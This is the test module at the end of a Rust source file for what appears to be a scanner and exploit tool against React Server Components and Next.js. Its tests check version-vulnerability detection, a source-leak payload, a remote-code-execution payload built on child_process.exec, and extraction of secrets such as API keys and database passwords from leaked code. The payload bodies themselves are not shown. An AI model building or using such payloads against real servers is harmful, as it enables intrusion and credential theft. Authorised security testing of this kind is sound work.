2057        chain_result.dos.as_ref(),
2058        chain_result.rce.as_ref(),
2059        Some(&chain_result),
2060    );
2061
2062    Ok(report)
2063}
2064
2065// ═════════════════════════════════════════════════════════════════════════════
2066// Tests
2067// ═════════════════════════════════════════════════════════════════════════════
2068
2069#[cfg(test)]
2070mod tests {
2071    use super::*;
2072
2073    #[test]
2074    fn test_is_react_vulnerable() {
2075        assert!(is_react_vulnerable("19.0.0"));
2076        assert!(is_react_vulnerable("19.1.0"));
2077        assert!(is_react_vulnerable("19.2.0"));
2078        assert!(!is_react_vulnerable("18.2.0"));
2079        assert!(!is_react_vulnerable("20.0.0"));
2080    }
2081
2082    #[test]
2083    fn test_is_nextjs_vulnerable() {
2084        assert!(is_nextjs_vulnerable("15.0.0"));
2085        assert!(is_nextjs_vulnerable("15.5.6"));
2086        assert!(is_nextjs_vulnerable("16.0.6"));
2087        assert!(!is_nextjs_vulnerable("14.2.0"));
2088        assert!(!is_nextjs_vulnerable("17.0.0"));
2089    }
2090
2091    #[test]
2092    fn test_craft_leak_payload() {
2093        let payload = craft_leak_payload();
2094        assert!(payload.contains("@source"));
2095        assert!(payload.contains("server_function_source"));
2096        assert!(payload.contains("expose"));
2097    }
2098
2099    #[test]
2100    fn test_build_rce_payload() {
2101        let payload = build_rce_payload("id");
2102        assert!(payload.contains("blob_handler"));
2103        assert!(payload.contains("child_process.exec"));
2104        assert!(payload.contains("id"));
2105    }
2106
2107    #[test]
2108    fn test_extract_sensitive_data() {
2109        let source = r#"
2110const API_KEY = "sk_test_abc123";
2111const DB_PASSWORD = "secret_password";
2112const DATABASE_URL = "postgresql://user:pass@localhost/db";
2113"#;
2114        let findings = extract_sensitive_data(source);
2115        assert!(!findings.is_empty());
2116    }
2117
2118    #[test]
2119    fn test_check_versions_vulnerable() {
2120        assert!(check_versions_vulnerable(
2121            &Some("15.0.0".to_string()),
2122            &None
2123        ));
2124        assert!(check_versions_vulnerable(
2125            &None,
2126            &Some("19.0.0".to_string())
2127        ));
2128        assert!(!check_versions_vulnerable(
2129            &Some("14.2.0".to_string()),
2130            &Some("18.2.0".to_string())
2131        ));
2132    }
2133
2134    #[test]
2135    fn test_report_generation() {
2136        let scan = ScanResult {
2137            url: "http://test.local".to_string(),
2138            is_nextjs: true,
2139            nextjs_version: Some(VersionInfo {
2140                version: "15.0.3".to_string(),
2141                source: "test".to_string(),
2142                context: "test".to_string(),
2143            }),
2144            react_version: None,
2145            rsc_enabled: true,
2146            vulnerable: true,
2147            dependencies: vec![],
2148            exposed_files: vec![],
2149            secrets: vec![],
2150            details: vec![],
2151            scan_duration_ms: 100,
2152        };
2153
2154        let report = generate_report(Some(&scan), None, None, None, None, None);
2155        assert_eq!(report.summary.risk_level, "CRITICAL");
2156        assert!(report.summary.vulnerability_verdict.contains("VULNERABLE"));
2157    }
2158
2159    #[test]
2160    fn test_report_to_json() {
2161        let scan = ScanResult {
2162            url: "http://example.com".to_string(),
2163            is_nextjs: false,
2164            nextjs_version: None,
2165            react_version: None,
2166            rsc_enabled: false,
2167            vulnerable: false,
2168            dependencies: vec![],
2169            exposed_files: vec![],
2170            secrets: vec![],
2171            details: vec![],
2172            scan_duration_ms: 50,
2173        };
2174
2175        let report = generate_report(Some(&scan), None, None, None, None, None);
2176        let json = report_to_json(&report).unwrap();
2177        assert!(json.contains("example.com"));
2178        assert!(json.contains("LOW"));
2179    }
2180}